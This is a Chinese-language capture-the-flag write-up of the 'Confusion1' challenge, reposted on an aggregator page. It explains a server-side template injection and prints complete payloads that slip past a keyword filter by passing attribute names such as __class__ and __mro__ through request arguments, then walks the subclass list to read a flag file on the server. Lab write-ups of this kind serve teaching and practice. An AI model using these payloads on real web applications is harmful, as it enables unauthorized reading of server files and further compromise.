当前位置: 首页 > web >正文

攻防世界—Confusion1—(模板注入ssti)

一.解题

在login和register的页面中发现这个文件路径

接下去就找有什么点可以利用

二.ssti

通过题目信息可知是一只蛇把一只大象缠绕起来了,蛇代表python,大象代表php

这边通过python可以推测可能是模板注入,这边我看其他的解题是说通过看报文信息也可以得到,但是我这边确实没从报文信息得到

尝试模板注入:

确实存在模板注入;

三.进行模板注入

发现应该是被过滤了,

发现""没有过滤

__class__被过滤,采用其他的方式

{{""[reuqest.args.a]}}?a=__class__

通过a去get传参

成功

看来__base__也被过滤了

使用__mro__可以

寻找可利用模块——file,因为之前已经知道路径:

Flag @ /opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt

如图可知模块在41,所以数组位置应该是40

利用该模块

{{""[request.args.a][request.args.b][2][request.args.c]()[40]("/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt")}}?a=__class__&b=__mro__&c=__subclasses__

读取文件内容

{{""[request.args.a][request.args.b][2][request.args.c]()[40]("/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt")[request.args.cmd]()}}?a=__class__&b=__mro__&c=__subclasses__&cmd=read

出答案:flag=cyberpeace{5de296bdf4c55c0e4ae11fc36988025a}

我这边顺便访问了一下另个文件内容是: _Y0uW1llN3verKn0w1t_

我抛给ai,给的结果是:you will never konw it

四.总结

在SSTI漏洞利用中,这种写法可以:

  • 绕过过滤:如果直接写 {{"".__class__}} 可能被WAF拦截

  • 动态属性访问:通过参数控制要访问的属性

  • 构造利用链:进一步获取其他危险类和方法

python# 获取基类
{{""[request.args.a]}}?a=__class__
{{""[request.args.a]}}?a=__base__# 获取object类
{{""[request.args.a]}}?a=__class__.__base__# 获取子类
{{""[request.args.a]}}?a=__class__.__base__.__subclasses__()

http://www.xdnf.cn/news/18733.html

相关文章:

  • ADC系统中的信噪比(SNR)
  • Python训练营打卡Day41-Grad-CAM与Hook函数
  • MySQL奔溃,InnoDB文件损坏修复记录
  • Codeforces Round 1043 (Div. 3)
  • 【Win10 画图板文字方向和繁体问题】
  • Python爬虫实战:构建港口物流数据采集和分析系统
  • 关于链式二叉树的几道OJ题目
  • 【Redis 进阶】----主从复制(重点理解流程和原理)
  • 【200页PPT】IT战略规划架构设计报告(附下载方式)
  • Linux服务器systemd服务配置详细指南
  • 《解构React Server Components:服务端序列化与流式传输的底层逻辑》
  • Redis优缺点
  • 可视化-模块1-HTML-01
  • TCP:传输控制协议
  • 【前端面试题✨】HTML 篇(一)
  • Java22 stream 新特性 窗口算子:GathererOp 和 GatherSink
  • 机器人控制基础:串级PID控制算法的参数如何整定?
  • 【读论文】Qwen-Image技术报告解读
  • iperf2 vs iperf3:UDP 发包逻辑差异与常见问题
  • 力扣(组合)
  • 人工智能时代下普遍基本收入(UBI)试验的实践与探索——以美国硅谷试点为例
  • LeetCode Hot 100 第二天
  • Java—— 配置文件Properties
  • 【Java SE】抽象类、接口与Object类
  • 秋招面试准备
  • 设计模式详解
  • TypeScript变量声明讲解
  • 个人思考与发展
  • 快速了解命令行界面(CLI)的行编辑模式
  • docker:compose